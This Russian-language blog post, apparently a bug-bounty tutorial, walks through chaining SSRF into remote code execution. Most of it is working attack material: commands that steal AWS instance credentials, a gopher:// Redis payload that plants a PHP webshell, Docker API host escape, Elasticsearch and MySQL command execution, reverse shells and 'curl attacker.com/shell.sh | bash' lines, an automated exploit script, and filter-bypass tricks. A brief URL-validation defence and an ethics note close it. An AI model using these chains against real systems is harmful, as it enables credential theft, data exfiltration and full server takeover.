⚡ SSRF → RCE: chain-атака на реальной цели
Привет, хакеры! 💻 Сегодня расскажу про мой любимый тип атак — chains (цепочки). Когда одна уязвимость сама по себе не критична, но в комбинации с другой превращается в полный pwn сервера.
Конкретно разберём: SSRF (Server-Side Request Forgery) → RCE (Remote Code Execution). Это как домино — толкаешь первую костяшку, а падает вся система. 🎯
Реальный кейс: Нашёл SSRF на корпоративном портале → через 2 часа получил shell на production сервере → bounty. Погнали разбирать, как повторить! 💰
🔍 Что такое SSRF и почему это опасно?
SSRF (Server-Side Request Forgery) — это когда сервер делает HTTP-запросы по твоей команде.
Простой пример:
// Уязвимый код
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content;
Атака:
http://victim.com/fetch?url=http://internal-server/admin
Сервер запрашивает внутренний ресурс и отдаёт тебе результат. Ты получаешь доступ к internal сети! 🔓
Почему критично:
• Доступ к внутренним сервисам (AWS metadata, Redis, Elasticsearch)
• Обход firewall’ов
• Чтение локальных файлов
• Pivot для других атак → вот тут начинается магия! ✨
🎯 Chain #1: SSRF → AWS Metadata → RCE
Самая популярная цепочка для облачных сервисов.
Шаг 1: Находим SSRF
# Тестируем параметр url
curl "http://target.com/api/fetch?url=http://169.254.169.254/"
# AWS metadata endpoint
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"
Ответ:
ami-id
ami-launch-index
ami-manifest-path
...
БИНГО! Сервер на AWS и отвечает на metadata запросы. 💣
Шаг 2: Крадём AWS credentials
# Получаем список ролей
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Ответ: admin-role
# Получаем креды
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"
Ответ (ДЖЕКПОТ!):
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalrXUtnFEMI/...",
"Token": "IQoJb3JpZ2luX2...",
"Expiration": "2025-10-07T12:00:00Z"
}У нас есть AWS credentials с правами admin! 🔑
Шаг 3: RCE через AWS CLI
# Конфигурируем AWS CLI с украденными credentials
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2..."
# Проверяем права
aws sts get-caller-identity
# Смотрим EC2 instances
aws ec2 describe-instances
# Находим instance ID текущего сервера
# Теперь варианты RCE:
# 1. Через User Data (если есть права)
aws ec2 modify-instance-attribute --instance-id i-xxx --user-data file://payload.sh
# 2. Через SSM (если агент установлен)
aws ssm send-command \
--instance-ids i-xxx \
--document-name "AWS-RunShellScript" \
--parameters commands=["curl http://attacker.com/shell.sh | bash"]
# 3. Через Lambda (создаём функцию)
aws lambda create-function \
--function-name evil \
--runtime python3.9 \
--role arn:aws:iam::xxx:role/admin-role \
--handler lambda_function.handler \
--zip-file fileb://reverse_shell.zip
# Вызываем Lambda
aws lambda invoke --function-name evil output.txt
Результат: Reverse shell на сервере! 🎉
🎯 Chain #2: SSRF → Redis → Webshell
Для on-premise инфраструктуры.
Шаг 1: Находим Redis через SSRF
# Сканируем internal network
for i in {1..255}; do
curl "http://target.com/api/fetch?url=http://10.0.0.$i:6379/"
done
# Находим Redis на 10.0.0.15:6379
Шаг 2: Эксплуатируем Redis через SSRF
Проблема: Redis использует бинарный протокол, но можно обойти через URL encoding.
# Payload для записи webshell в Redis
# Затем сохраняем в веб-директорию через SAVE
# 1. Пишем PHP webshell в Redis
curl "http://target.com/api/fetch?url=gopher://10.0.0.15:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A"
Что происходит:
FLUSHALL # Очищаем Redis
SET 1 "\n\n<?php system($_GET[cmd]);?>\n\n" # Записываем webshell
CONFIG SET dir /var/www/html # Меняем директорию сохранения
CONFIG SET dbfilename shell.php # Имя файла
SAVE # Сохраняем на диск
Шаг 3: RCE через webshell
# Заходим на webshell
curl "http://target.com/shell.php?cmd=id"
# Ответ: uid=33(www-data) gid=33(www-data)
# Reverse shell
curl "http://target.com/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
# На своей машине слушаем
nc -lvnp 4444
Результат: Full shell access! 💀
🎯 Chain #3: SSRF → Elasticsearch → Data Exfiltration → RCE
Шаг 1: Находим Elasticsearch
# Elasticsearch обычно на порту 9200
curl "http://target.com/api/fetch?url=http://10.0.0.20:9200/"
Ответ:
{
"name": "prod-es-node-1",
"cluster_name": "production",
"version": {
"number": "7.10.0"
}
}Elasticsearch без авторизации — JACKPOT! 💰
Шаг 2: Дампим данные
# Получаем список индексов
curl "http://target.com/api/fetch?url=http://10.0.0.20:9200/_cat/indices"
# Ответ:
# users
# passwords
# credit_cards
# Дампим пользователей
curl "http://target.com/api/fetch?url=http://10.0.0.20:9200/users/_search?size=10000" | jq . > users.json
# Находим admin credentials в данных
cat users.json | grep -i admin
Шаг 3: RCE через Groovy scripting (старые версии)
# Для Elasticsearch < 1.4.3 (если повезёт)
curl -XPOST "http://target.com/api/fetch?url=http://10.0.0.20:9200/_search" \
-H "Content-Type: application/json" \
-d '{
"script_fields": {
"test": {
"script": "java.lang.Runtime.getRuntime().exec(\"curl http://attacker.com/shell.sh | bash\").getText()"
}
}
}'
Или используем найденные admin-креды для SSH/RDP доступа к серверам. 🔑
🎯 Chain #4: SSRF → Docker API → Container Escape → RCE
Шаг 1: Находим Docker API
# Docker API обычно на unix socket или порту 2375
curl "http://target.com/api/fetch?url=http://localhost:2375/version"
Ответ:
{
"Version": "20.10.8",
"ApiVersion": "1.41"
}Docker API без авторизации! 🐳
Шаг 2: Создаём злонамеренный контейнер
# Создаём контейнер с mount'ом хост-системы
curl "http://target.com/api/fetch?url=http://localhost:2375/containers/create" \
-X POST \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["/bin/sh"],
"Volumes": {
"/host": {}
},
"HostConfig": {
"Binds": ["/:/host"],
"Privileged": true
}
}'
# Ответ: {"Id": "abc123..."}
# Запускаем контейнер
curl "http://target.com/api/fetch?url=http://localhost:2375/containers/abc123/start" -X POST
# Выполняем команду в контейнере (пишем SSH ключ)
curl "http://target.com/api/fetch?url=http://localhost:2375/containers/abc123/exec" \
-X POST \
-d '{
"AttachStdout": true,
"Cmd": ["sh", "-c", "echo \"ssh-rsa AAAA...\" > /host/root/.ssh/authorized_keys"]
}'
Результат: SSH доступ под root на хосте! 🚀
🎯 Chain #5: SSRF → Local File Read → Config Files → Database → RCE
Многоступенчатая цепочка.
Шаг 1: SSRF → LFI
# Пробуем file:// протокол
curl "http://target.com/api/fetch?url=file:///etc/passwd"
# Работает! Читаем конфиги
curl "http://target.com/api/fetch?url=file:///var/www/html/config.php"
Находим:
<?php
$db_host = "10.0.0.30";
$db_user = "admin";
$db_pass = "SuperSecret123!";
$db_name = "production";
?>
Шаг 2: Подключаемся к базе через SSRF
# MySQL через SSRF (если есть библиотека)
# Создаём payload для записи UDF (User Defined Function)
# Загружаем malicious UDF библиотеку
curl "http://target.com/api/upload" \
--data-binary @lib_mysqludf_sys.so
# Через SSRF грузим её в MySQL plugin dir
# (нужны специфичные MySQL команды через gopher://)
Шаг 3: RCE через MySQL UDF
-- Создаём UDF для выполнения команд
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
-- Выполняем команду
SELECT sys_exec('curl http://attacker.com/shell.sh | bash');
Результат: Shell через MySQL! 💀
🛠️ Инструменты для SSRF → RCE chains
# SSRFmap - автоматизация SSRF эксплойтов
python3 ssrfmap.py -r request.txt -p url -m readfiles
# Gopherus - генератор gopher:// payloads
python2 gopherus.py --exploit redis
# Interactsh - для blind SSRF
interactsh-client
# Burp Collaborator - альтернатива
# Встроен в Burp Suite Pro
# Мой custom скрипт для chain'ов
python3 ssrf-to-rce.py -u http://target.com/fetch -p url --target aws
Автоматизированный сканер:
import requests
class SSRFChainExploit:
def __init__(self, target_url, param):
self.target = target_url
self.param = param
def check_ssrf(self):
# Проверка базового SSRF
payloads = [
"http://169.254.169.254/", # AWS metadata
"http://localhost:6379/", # Redis
"http://localhost:9200/", # Elasticsearch
"http://localhost:2375/", # Docker
"file:///etc/passwd" # LFI
]
for payload in payloads:
r = requests.get(f"{self.target}?{self.param}={payload}")
if self.detect_success(r.text, payload):
print(f"[+] SSRF found: {payload}")
self.exploit(payload)
def exploit(self, service):
if "169.254.169.254" in service:
self.exploit_aws()
elif "6379" in service:
self.exploit_redis()
elif "9200" in service:
self.exploit_elasticsearch()
# ... и так далее
def exploit_aws(self):
# Крадём credentials
url = f"{self.target}?{self.param}=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
roles = requests.get(url).text
for role in roles.split('\n'):
creds_url = f"{self.target}?{self.param}=http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}"
creds = requests.get(creds_url).json()
print(f"[+] Stolen AWS creds: {creds}")
# Дальше используем AWS CLI для RCE
# Использование
exploit = SSRFChainExploit("http://target.com/api/fetch", "url")
exploit.check_ssrf()
🔥 Продвинутые обходы защиты
Bypass #1: Обход blacklist’ов
# Блокируют localhost?
http://127.0.0.1
http://127.1
http://0.0.0.0
http://[::1]
http://localhost.target.com # если это ты контролируешь DNS
# Блокируют 169.254.169.254?
http://169.254.169.254.nip.io
http://425.510.425.510 # decimal IP
http://0xa9.0xfe.0xa9.0xfe # hex IP
http://2852039166 # decimal single
Bypass #2: Обход whitelisting через redirect
# На своём сервере делаешь редирект
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/evil')
def evil():
return redirect('http://169.254.169.254/latest/meta-data/')
# Теперь:
curl "http://target.com/fetch?url=http://attacker.com/evil"
# Следуя редиректу, сервер зайдёт на AWS metadata
Bypass #3: DNS rebinding
# Создаёшь домен с TTL=0 и разными A-записями
# Первый запрос: attacker.com → 1.2.3.4 (проходит whitelist)
# Второй запрос: attacker.com → 169.254.169.254 (metadata!)
# Используй сервисы типа:
# - rbndr.us
# - 1u.ms
📊 Реальный кейс (полный разбор) - сейчас AWS не работает в России
Цель: Финтех-стартап на AWS
Timeline:
T+0:00 - Нашёл SSRF в функции “Preview URL”
POST /api/preview
{"url": "http://example.com"}
T+0:05 - Проверил AWS metadata
{"url": "http://169.254.169.254/latest/meta-data/"}
✅ Работает!T+0:15 - Украл IAM credentials
{
"RoleName": "prod-ec2-role",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "..."
}T+0:30 - Проверил права через AWS CLI
aws sts get-caller-identity
# Role: arn:aws:iam::123456789:role/prod-ec2-role
aws iam get-role-policy --role-name prod-ec2-role --policy-name inline-policy
# Есть права на SSM!
T+0:45 - Получил список EC2 instances
aws ec2 describe-instances
# Нашёл production сервер: i-0abc123def
T+1:00 - Выполнил команду через SSM
aws ssm send-command \
--instance-ids i-0abc123def \
--document-name "AWS-RunShellScript" \
--parameters commands=["id"]
# Output: uid=0(root) ЭТО ROOT!
T+1:30 - Поднял reverse shell
aws ssm send-command \
--instance-ids i-0abc123def \
--document-name "AWS-RunShellScript" \
--parameters commands=["bash -c 'bash -i >& /dev/tcp/MY_IP/4444 0>&1'"]
# На моей машине:
nc -lvnp 4444
# Connection from production-server!
T+2:00 - Написал detailed отчёт с PoC (БЕЗ кражи данных!)
T+2 days - Получил ответ: “Critical severity confirmed”
T+14 days - Bounty 💰💰💰
Impact:
• Full RCE на production
• Доступ к database
• Возможность кражи всех данных клиентов
• Потенциальный ущерб: $10M+
🎯 Где искать SSRF в 2025?
Горячие точки:
✅ URL preview features - LinkPreview, OpenGraph parsers
✅ Webhooks - интеграции с внешними API
✅ PDF generators - HTML to PDF конвертеры
✅ Image processors - загрузка по URL
✅ RSS/XML parsers - внешние фиды
✅ Import functions - загрузка из URL
✅ Proxy endpoints - API gateways
✅ SSO/OAuth - redirect_uri параметры
🔐 Защита для админов
Как не стать жертвой SSRF → RCE:
# Правильная валидация URL
import urllib.parse
import ipaddress
def is_safe_url(url):
try:
parsed = urllib.parse.urlparse(url)
# Только HTTP/HTTPS
if parsed.scheme not in ['http', 'https']:
return False
# Резолвим hostname
import socket
ip = socket.gethostbyname(parsed.hostname)
ip_obj = ipaddress.ip_address(ip)
# Блокируем private IP ranges
if ip_obj.is_private or ip_obj.is_loopback:
return False
# Блокируем AWS metadata
if ip == '169.254.169.254':
return False
return True
except:
return False
# Использование
url = request.GET['url']
if is_safe_url(url):
content = requests.get(url, timeout=5)
else:
abort(400, "Invalid URL")
Дополнительные меры:
✅ Network segmentation - internal services в отдельной подсети
✅ IMDSv2 - требует токен для AWS metadata
✅ Firewall rules - запретить исходящие соединения к internal IP
✅ Whitelist вместо blacklist
✅ Disable unnecessary protocols (file://, gopher://, dict://)
✅ Monitoring - логируй все исходящие запросы
🎓 Мораль истории
SSRF сама по себе — medium severity. Но в цепочке с другими багами → CRITICAL RCE.
Ключ к успеху:
1. Находишь SSRF (читай мой гайд выше)
2. Исследуешь internal network (что доступно?)
3. Ищешь слабые звенья (Redis, Elasticsearch, Docker API)
4. Строишь цепочку (SSRF → Service → RCE)
5. Документируешь (подробный отчёт = больше $$$)
Не останавливайся на первом баге. Dig deeper! 💎
🚀 Домашка для хакеров
1. Найди SSRF на bug bounty программе
2. Проверь все векторы из поста (AWS, Redis, Docker, etc.)
3. Построй хотя бы 2-step chain
4. Напиши killer-отчёт с полным impact analysis
Удачной охоты, превращайте SSRF в полный pwn! ⚡💣
P.S. Помни: chain-атаки платят в 5-10 раз больше, чем обычные баги. Инвестируй время в исследование, оно окупится! 💰
P.P.S. Всегда делай responsible disclosure: не кради данные, не ломай production, не удаляй файлы. Покажи PoC и получи bounty. Stay ethical! 🔐
